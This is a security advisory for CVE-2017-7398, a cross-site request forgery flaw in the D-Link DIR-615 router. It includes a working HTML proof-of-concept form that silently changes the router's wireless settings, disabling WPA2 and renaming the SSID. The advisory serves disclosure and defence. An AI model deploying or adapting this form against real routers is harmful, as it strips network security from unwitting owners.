D-Link DIR 615 HW T1 FW 20.09 Cross-Site Request Forgery

2017.04.04

Credit: Pratik S. Shah

Risk: Medium

Local: No

Remote: Yes

CVE: CVE-2017-7398

CWE: CWE-352

CVSS Base Score: 6.8/10

Impact Subscore: 6.4/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

*Title:*
====

D-Link DIR 615 HW: T1 FW:20.09 is vulnerable to Cross-Site Request Forgery
(CSRF) vulnerability

*Credit:*
======

Name: Pratik S. Shah

*Reference:*
=========

CVE Details: CVE-2017-7398.

*Date:*
====

1-04-2017

*Vendor:*
======

D-Link wireless router

*Product:*
=======

DIR-615

*Affected Version:*
=============

Hardware: T1 , Firmware: 20.09

*Abstract:*
=======

D-Link DIR 615 (HW: T1 FW:20.09) is vulnerable to Cross-Site Request
Forgery (CSRF) vulnerability. This enables an attacker to perform an
unwanted action on a wireless router for which the user/admin is currently
authenticated.

*Attack Type**:*
===================

Remote

*Details:*
=========

CSRF vulnerability in D-link DIR 615 wireless router enables an attacker to
perform unwanted actions on router, which may lead to gaining full control
of the device.

*Proof Of Concept:*
================

1) User login to D-link DIR 615 wireless router

2) User visits the attacker's malicious web page (DlinkCSRF.html)

3) DlinkCSRF.html exploits CSRF vulnerability and changes the Security
Options to None

This is the CSRF POC for changing the Security option from WPA2 to None(
Parameter: Method)

Attacker can also tamper following parameters

   - *hiddenSSID*
   - *SSID*
   - *Passwords for all the applicable security options*

<html>

  <!-- CSRF PoC - D-link DIR 615 HW:T1 FW:20.09  -->

  <body>

    <form action="http://192.168.0.1/form2WlanBasicSetup.cgi"; method="POST">
      <input type="hidden" name="domain" value="1" />
      <input type="hidden" name="hiddenSSID" value="on" />
      <input type="hidden" name="ssid" value=“Hacked” />
      <input type="hidden" name="band" value="10" />
      <input type="hidden" name="chan" value="0" />
      <input type="hidden" name="chanwid" value="1" />
      <input type="hidden" name="txRate" value="0" />
      <input type="hidden" name="method&#95;cur" value="6" />
      <input type="hidden" name="method" value="0" />
      <input type="hidden" name="authType" value="1" />
      <input type="hidden" name="length" value="1" />
      <input type="hidden" name="format" value="2" />
      <input type="hidden" name="defaultTxKeyId" value="1" />
      <input type="hidden" name="key1" value="0000000000" />
      <input type="hidden" name="pskFormat" value="0" />
      <input type="hidden" name="pskValue" value=“CSRF@test” />
      <input type="hidden" name="checkWPS2" value="1" />
      <input type="hidden" name="save" value="Apply" />
      <input type="hidden" name="basicrates" value="15" />
      <input type="hidden" name="operrates" value="4095" />
      <input type="hidden" name="submit&#46;htm&#63;wlan&#95;basic&#46;htm"
value="Send" />
      <input type="submit" value="Submit request" />

    </form>
  </body>
</html>

Disclosure Timeline:
======================================
Vendor Notification: 6th March 2017

--

Pratik S. Shah

See this note in RAW Version

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D-Link DIR 615 HW T1 FW 20.09 Cross-Site Request Forgery

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